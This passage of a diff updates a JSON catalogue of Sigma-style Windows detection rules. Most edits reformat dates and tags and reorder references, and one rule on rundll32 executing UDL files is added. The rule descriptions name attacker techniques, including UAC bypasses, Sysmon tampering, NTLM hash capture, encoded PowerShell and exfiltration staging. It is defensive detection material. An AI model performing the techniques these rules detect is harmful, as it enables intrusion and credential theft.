uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/23", + "creation_date": "2023-01-23", "falsepositive": [ "Unknown" ], @@ -51129,7 +51194,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -51157,7 +51222,7 @@ "description": "Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.", "meta": { "author": "Sreeman", - "creation_date": "2020/09/29", + "creation_date": "2020-09-29", "falsepositive": [ "Unknown" ], @@ -51198,7 +51263,7 @@ "description": "load malicious registered COM objects", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -51207,12 +51272,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", + "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.015" ] @@ -51233,7 +51298,7 @@ "description": "Detects the execution of a renamed ProcDump executable.\nThis often done by attackers or malware in order to evade defensive mechanisms.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/11/18", + "creation_date": "2019-11-18", "falsepositive": [ "Procdump illegally bundled with legitimate software.", "Administrators who rename binaries (should be investigated)." @@ -51247,7 +51312,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -51267,7 +51332,7 @@ "description": "Detects the execution of \"hh.exe\" to open \".chm\" files.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "False positives are expected with legitimate \".CHM\"" ], @@ -51282,7 +51347,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.001" ] }, @@ -51302,7 +51367,7 @@ "description": "Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/09", + "creation_date": "2023-03-09", "falsepositive": [ "Legitimate administrators might use this command to update Sysmon configuration." ], @@ -51315,7 +51380,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_config_update.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -51335,7 +51400,7 @@ "description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/18", + "creation_date": "2021-12-18", "falsepositive": [ "The old auditpol utility isn't available by default on recent versions of Windows as it was replaced by a newer version. The FP rate should be very low except for tools that use a similar flag structure" ], @@ -51348,7 +51413,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_nt_resource_kit_usage.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -51368,7 +51433,7 @@ "description": "Detects the creation of a new service using the \"sc.exe\" utility.", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2023/02/20", + "creation_date": "2023-02-20", "falsepositive": [ "Legitimate administrator or user creates a service for legitimate reasons.", "Software installation" @@ -51383,7 +51448,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -51403,7 +51468,7 @@ "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/07", + "creation_date": "2022-06-07", "falsepositive": [ "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" ], @@ -51412,12 +51477,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/1ZRR4H/status/1534259727059787783", "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", + "https://twitter.com/1ZRR4H/status/1534259727059787783", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566" ] }, @@ -51437,7 +51502,7 @@ "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali", - "creation_date": "2022/10/10", + "creation_date": "2022-10-10", "falsepositive": [ "Unlikely" ], @@ -51446,9 +51511,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", - "http://www.xuetr.com/", + "https://web.archive.org/web/20231210115125/http://www.xuetr.com/", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml" ], "tags": [ @@ -51505,7 +51570,7 @@ "description": "Detects when an admin share is mounted using net.exe", "meta": { "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Administrators" ], @@ -51518,7 +51583,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_admin_share.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -51538,7 +51603,7 @@ "description": "Detects execution of a renamed autohotkey.exe binary based on PE metadata fields", "meta": { "author": "Nasreddine Bencherchali", - "creation_date": "2023/02/07", + "creation_date": "2023-02-07", "falsepositive": [ "Unknown" ], @@ -51547,12 +51612,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/", "https://www.autohotkey.com/download/", + "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autohotkey.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0f16d9cf-0616-45c8-8fad-becc11b5a41c", @@ -51562,7 +51627,7 @@ "description": "Detects the removal of Sysmon, which could be a potential attempt at defense evasion", "meta": { "author": "frack113", - "creation_date": "2022/01/12", + "creation_date": "2022-01-12", "falsepositive": [ "Legitimate administrators might use this command to remove Sysmon for debugging purposes" ], @@ -51575,7 +51640,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_uninstall.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -51595,7 +51660,7 @@ "description": "Detect suspicious parent processes of well-known Windows processes", "meta": { "author": "vburov", - "creation_date": "2019/02/23", + "creation_date": "2019-02-23", "falsepositive": [ "Some security products seem to spawn these" ], @@ -51605,12 +51670,12 @@ "logsource.product": "windows", "refs": [ "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003", "attack.t1036.005" ] @@ -51638,7 +51703,7 @@ "description": "Detects execution of \"VSDiagnostics.exe\" with the \"start\" command in order to launch and proxy arbitrary binaries.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Legitimate usage for tracing and diagnostics purposes" ], @@ -51651,7 +51716,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vsdiagnostics_execution_proxy.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -51671,7 +51736,7 @@ "description": "Detects new process creation using WMIC via the \"process call create\" flag", "meta": { "author": "Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -51680,8 +51745,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sans.org/blog/wmic-for-incident-response/", "https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process", + "https://www.sans.org/blog/wmic-for-incident-response/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml" ], "tags": [ @@ -51706,7 +51771,7 @@ "description": "Detects the execution of netsh with \"add helper\" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.\n", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -51715,13 +51780,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20160928212230/https://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", + "https://web.archive.org/web/20160928212230/https://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/", "https://github.com/outflanknl/NetshHelperBeacon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_helper_dll_persistence.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.007", "attack.s0108" @@ -51743,7 +51808,7 @@ "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/02/09", + "creation_date": "2019-02-09", "falsepositive": [ "Unknown" ], @@ -51756,7 +51821,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_calc_uncommon_exec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -51776,7 +51841,7 @@ "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -51789,8 +51854,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -51810,7 +51875,7 @@ "description": "Detects execution of powershell scripts via Runscripthelper.exe", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -51825,7 +51890,7 @@ "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -51852,7 +51917,7 @@ "description": "Detects execution of PktMon, a tool that captures network packets.", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate use" ], @@ -51865,7 +51930,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pktmon_execution.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1040" ] }, @@ -51885,7 +51950,7 @@ "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", "meta": { "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", - "creation_date": "2021/12/17", + "creation_date": "2021-12-17", "falsepositive": [ "Legitimate calls to system binaries", "Company specific internal usage" @@ -51895,13 +51960,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", @@ -51911,7 +51976,7 @@ "description": "Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Unknown" ], @@ -51920,12 +51985,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/HiwinCN/HTran", "https://github.com/cw1997/NATBypass", + "https://github.com/HiwinCN/HTran", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090", "attack.s0040" ] @@ -51946,7 +52011,7 @@ "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", "meta": { "author": "Sreeman", - "creation_date": "2020/03/13", + "creation_date": "2020-03-13", "falsepositive": [ "Unknown" ], @@ -51962,7 +52027,7 @@ "attack.t1204", "attack.t1566.001", "attack.execution", - "attack.initial_access" + "attack.initial-access" ] }, "related": [ @@ -51988,7 +52053,7 @@ "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -52001,8 +52066,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -52022,7 +52087,7 @@ "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unlikely" ], @@ -52031,14 +52096,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/vysecurity/status/873181705024266241", + "https://twitter.com/vysecurity/status/974806438316072960", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", + "https://twitter.com/vysecurity/status/873181705024266241", "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", - "https://twitter.com/vysecurity/status/974806438316072960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -52058,7 +52123,7 @@ "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/14", + "creation_date": "2022-07-14", "falsepositive": [ "Unlikely" ], @@ -52073,7 +52138,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -52093,7 +52158,7 @@ "description": "Detects usage of a base64 encoded \"IEX\" cmdlet in a process command line", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/08/23", + "creation_date": "2019-08-23", "falsepositive": [ "Unknown" ], @@ -52126,7 +52191,7 @@ "description": "Detects a suspicious or uncommon parent processes of PowerShell", "meta": { "author": "Teymur Kheirkhabarov, Harish Segar", - "creation_date": "2020/03/20", + "creation_date": "2020-03-20", "falsepositive": [ "Other scripts" ], @@ -52159,7 +52224,7 @@ "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Other programs that cause these patterns (please report)" ], @@ -52172,7 +52237,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_priv_escalation_via_named_pipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021" ] }, @@ -52192,7 +52257,7 @@ "description": "Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.", "meta": { "author": "Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/10/16", + "creation_date": "2020-10-16", "falsepositive": [ "Unknown" ], @@ -52201,9 +52266,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml" ], "tags": [ @@ -52227,7 +52292,7 @@ "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", "meta": { "author": "frack113", - "creation_date": "2022/09/25", + "creation_date": "2022-09-25", "falsepositive": [ "Legitimate use" ], @@ -52261,7 +52326,7 @@ "description": "Detects when a share is mounted using the \"net.exe\" utility", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/02", + "creation_date": "2023-02-02", "falsepositive": [ "Legitimate activity by administrators and scripts" ], @@ -52274,7 +52339,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_share.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -52290,11 +52355,52 @@ "uuid": "f117933c-980c-4f78-b384-e3d838111165", "value": "Windows Share Mount Via Net.EXE" }, + { + "description": "Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file.\nThreat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.\n", + "meta": { + "author": "@kostastsale", + "creation_date": "2024-08-16", + "falsepositive": [ + "UDL files serve as a convenient and flexible tool for managing and testing database connections in various development and administrative scenarios." + ], + "filename": "proc_creation_win_rundll32_udl_exec.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://trustedsec.com/blog/oops-i-udld-it-again", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_udl_exec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011", + "attack.t1071" + ] + }, + "related": [ + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "0ea52357-cd59-4340-9981-c46c7e900428", + "value": "Potentially Suspicious Rundll32.EXE Execution of UDL File" + }, { "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate OpenVPN TAP installation" ], @@ -52327,7 +52433,7 @@ "description": "Detects the usage of the \"Accesschk\" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "System administrator Usage" ], @@ -52336,10 +52442,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_accesschk_check_permissions.yml" ], "tags": [ @@ -52363,7 +52469,7 @@ "description": "Detects potentially suspicious file downloads from file sharing domains using wget.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Unknown" ], @@ -52372,9 +52478,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", - "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_susp_file_sharing_domains.yml" ], "tags": [ @@ -52388,7 +52494,7 @@ "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/28", + "creation_date": "2022-10-28", "falsepositive": [ "Unknown" ], @@ -52401,7 +52507,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007" ] }, @@ -52421,7 +52527,7 @@ "description": "Detects the export of the target Registry key to a file.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Legitimate export of keys" ], @@ -52430,8 +52536,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" ], "tags": [ @@ -52455,7 +52561,7 @@ "description": "Local accounts, System Owner/User discovery using operating systems utilities", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Legitimate administrator or user enumerates local users for legitimate reason" ], @@ -52496,7 +52602,7 @@ "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/05", + "creation_date": "2023-01-05", "falsepositive": [ "Unknown" ], @@ -52509,7 +52615,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invocation_specific.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "536e2947-3729-478c-9903-745aaffe60d2", @@ -52519,7 +52625,7 @@ "description": "Detects execution of 7z in order to compress a file with a \".dmp\"/\".dump\" extension, which could be a step in a process of dump file exfiltration.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Legitimate use of 7z with a command line in which \".dmp\" or \".dump\" appears accidentally", "Legitimate use of 7z to compress WER \".dmp\" files for troubleshooting" @@ -52553,7 +52659,7 @@ "description": "Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet", "meta": { "author": "Florian Roth (Nextron Systems), Hieu Tran", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Unknown" ], @@ -52566,7 +52672,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_dll.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.execution", "attack.t1059.001", "attack.t1105" @@ -52595,7 +52701,7 @@ "description": "Detects the execution of a renamed \"gpg.exe\". Often used by ransomware and loaders to decrypt/encrypt data.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2023/08/09", + "creation_date": "2023-08-09", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_renamed_gpg4win.yml", "level": "high", @@ -52626,7 +52732,7 @@ "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", "meta": { "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" ], @@ -52635,12 +52741,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/pabraeken/status/993497996179492864", "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", + "https://twitter.com/pabraeken/status/993497996179492864", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_vboxdrvinst_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -52660,7 +52766,7 @@ "description": "Detects execution of \"tar.exe\" in order to create a compressed file.\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), AdmU3", - "creation_date": "2023/12/19", + "creation_date": "2023-12-19", "falsepositive": [ "Likely" ], @@ -52670,8 +52776,8 @@ "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/chromeloader-malware/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://lolbas-project.github.io/lolbas/Binaries/Tar/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tar_compression.yml" ], "tags": [ @@ -52704,7 +52810,7 @@ "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/27", + "creation_date": "2022-09-27", "falsepositive": [ "Unknown" ], @@ -52717,7 +52823,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_remote_file_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -52737,7 +52843,7 @@ "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": 